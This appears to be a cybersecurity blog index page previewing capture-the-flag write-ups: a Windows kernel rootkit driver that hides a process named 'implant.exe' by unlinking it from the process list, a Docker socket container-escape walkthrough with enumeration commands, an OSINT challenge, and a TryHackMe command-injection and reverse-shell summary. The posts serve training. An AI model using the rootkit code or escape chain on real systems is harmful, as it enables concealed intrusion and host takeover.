CyberSec_Blog

  1. Script Explanation (rootkit.c) Script : #include <ntddk.h> // Offsets for Windows 10 x64 (Version 19041 - THM Lab) #define LINKS_OFFSET 0x2e8 // ActiveProcessLinks #define NAME_OFFSET 0x450 // ImageFileName void DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Driver Unloaded. Note: Hidden processes remain hidden!\n"); } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath); // Start iterating from the System process PEPROCESS CurrentProcess = PsInitialSystemProcess; PLIST_ENTRY CurrentListEntry; char* imageName; BOOLEAN found = FALSE; DbgPrint("Searching for implant.exe to hide it...\n"); // Loop through the process list (limit to 1000 to avoid hangs) for (int i = 0; i < 1000; i++) {     imageName = (char*)CurrentProcess + NAME_OFFSET;     // Check if this is our target process     if (strstr(i...

  Full Walkthrough — Matryoshka Containment Unit Matryoshka Containment Unit is a Docker/container escape challenge that teaches: Docker socket abuse Privileged container escalation Shared volume abuse Remote code execution between containers Namespace escape to the host system Below is the complete attack chain from the first flag to the host flag. 1. Initial Enumeration You started inside the level1 container and performed basic Linux/container enumeration. Commands: ls -la cat /proc/1/cgroup find / -perm -4000 2 >/dev/null find / -name docker.sock 2 >/dev/null What you discovered .dockerenv This indicated you were inside a Docker container. /var/run/docker.sock This was the key vulnerability. Docker socket exposure means: the container can communicate directly with the Docker daemon running on the host anyone with access to the socket can effectively control Docker on the host machine This is one of the most dangerous Docker misconfigurations. 2. V...

       This challenge is inspired by a real cargo theft that occurred in March 2026, in which a shipment of KitKat products was stolen in transit between Italy and Poland. All companies, agencies, individuals, documents, and investigative findings presented in this challenge are entirely fictional. No real employees, law enforcement personnel, or organisations are implicated. The real theft remains under investigation by the relevant authorities. Source :  - the files which are coming with the challange  - Hulin intersection :  : https://www.google.com/maps/place/Hul%C3%ADn,+768+24+Hul%C3%ADn,+Czechia/@49.3151556,17.4404483,14.8z/data=!4m6!3m5!1s0x471307d7e94a1ee1:0xe047a8c10fc6cf02!8m2!3d49.3168925!4d17.4637476!16zL20vMGRoZ3Rk?entry=ttu&g_ep=EgoyMDI2MDQwMS4wIKXMDSoASAFQAw%3D%3D - https://epieos.com/ -Name of the culprit:  https://www.google.com/maps/contrib/103790956576446810107/photos/@45.6353529,25.6113669,14z/data=!4m3!8m2!3m1!1e1?ent...

  The ExfilNode challenge on TryHackMe is a medium-difficulty room that focuses on exploiting a Node.js application to gain initial access, followed by a clever lateral movement and privilege escalation involving sensitive data exfiltration. 1. Enumeration The process begins with a standard network scan. You’ll find a web server running a Node.js application. By exploring the site and its source code (or through directory brute-forcing), you identify an endpoint that allows for file uploads or processes user input in a way that is vulnerable to Command Injection. 2. Initial Foothold Vulnerability: The application fails to properly sanitize input before passing it to a system shell. Exploitation: By injecting a reverse shell payload (e.g., using bash or python), you gain a shell as a low-privileged user (typically www-data). Stabilization: Use Python's pty module to upgrade your shell to a fully interactive TTY. 3. Lateral Movement Once inside, you discover a second user on the syst...